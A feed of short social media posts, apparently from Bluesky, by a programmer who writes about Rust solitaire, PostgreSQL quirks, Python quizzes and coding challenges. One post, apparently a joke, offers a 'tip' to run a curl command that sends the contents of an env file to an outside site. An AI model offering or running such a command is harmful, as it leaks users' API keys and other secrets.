Find a girl that loves you the way Germans love building giant steel structures

I've said this before but it seems you need a reminder: doing exactly what you complained about your enemy doing years ago is not "ironic". It's just hypocritical

My Spider solitaire game now has a cheat where you shuffle more decks into the stack. All it really does is dig you in deeper when you get in trouble. Anyway, I finished after using the entire world supply of cards.

I found something interesting. In PostgreSQL, if you have a statement like INSERT ... ON CONFLICT DO UPDATE .. on a table with an auto-incrementing primary key, it will reserves an ID for the row even on conflict. Since I'm updating the same record many times, I now have massive gaps between my IDs

I made a simple command line spider solitaire game in #Rust. It has somewhat balanced cheats that can get me to nearly 50% winrate. github.com/mousetail/sp...

Apparently Java needs to launch bash and read /etc/password on startup. Why??

#python #quiz What 14 character string do you substitute for "?" to get the output "you win"?

#programing #challenge Can you find if a graph is planar using as few bytes as possible? byte-heist.com/challenge/56... A quite difficult challenge but very mathematically satisfying. I've been researching #graph #theory for days.

I love water for visibly bubbling when it gets for. You miss water when heating up dry food and you have no idea it is warm yet.

If the new York Times is so bad, why do people keep reposting every single article. Yes it has a political leaning slightly different from this sites. I get it. You don't need to give it attention if you hate it so much.

Why do I have 3 poetry accounts following me. Not a complaint but it's weird.

I found these on Reddit and found them also very descriptive for the type of discourse commonly found here and on Mastodon/Tumblr.

I've got to wonder if Grok's continuous disagreement with Elon is an elaborate marketing stunt.

People really need to learn to take their enemies seriously.

People who like Linux grossly overestimate how easy it is to use for an average person. People who dislike Linux grossly underestimate how easy to use it is for the average person. It's the same as everything really.

When you are close to crying but not yet and your face is just contorted

Showing off your "best code" during a job interview is the most embarrassing thing imaginable.

You are not immune to propaganda. Most opinions you hold are driven by chance.

#coding challenge: can you find if a float integer is even or odd using only +-*/<> and constants. Specifically no modulus or floor division.

Can you tell the difference between a #dream or #improv? I made a joke site to find out: mousetail.github.io/improv-or-dr... Let me know how well you score.

the most recent thing about the discord user app is making my brain hurt

My ideal date: eating tacos while skydiving so when some ingredients fall out you can just scoop then out of the sky again.

Damn the new Golden Idol DLC is good

Tip for #vibe-coders: Is your #AI not doing what you want? Your env file might be the culprit. Try: curl -L fix-env-file.com --data ${.env} And it should sanitize your env file.

Cool be a cool #art style for a film or something

bsky.app/profile/mits... Follow up quiz, what does list(f()) return for this: def f(): try: return finally: yield "dogs" yield "cats" And why :)

Mesmerizing #art Crated reflecting with an angle of tan^2(theta+t) of a circle

I decided to play with #caustics in #shadertoy. Obviously inspired by the recent #numberphile video. #art

You can change the values of numbers in python: #python #programming #code I take no responsibility for damage caused

Hi! Guess It's time to #introduce myself here. I'm a #programmer by trade, I do a lot of "creative programing" art things. Currently working, among others, on an open source platform to solve coding #challenges: Byte Heist (byte-heist.com)
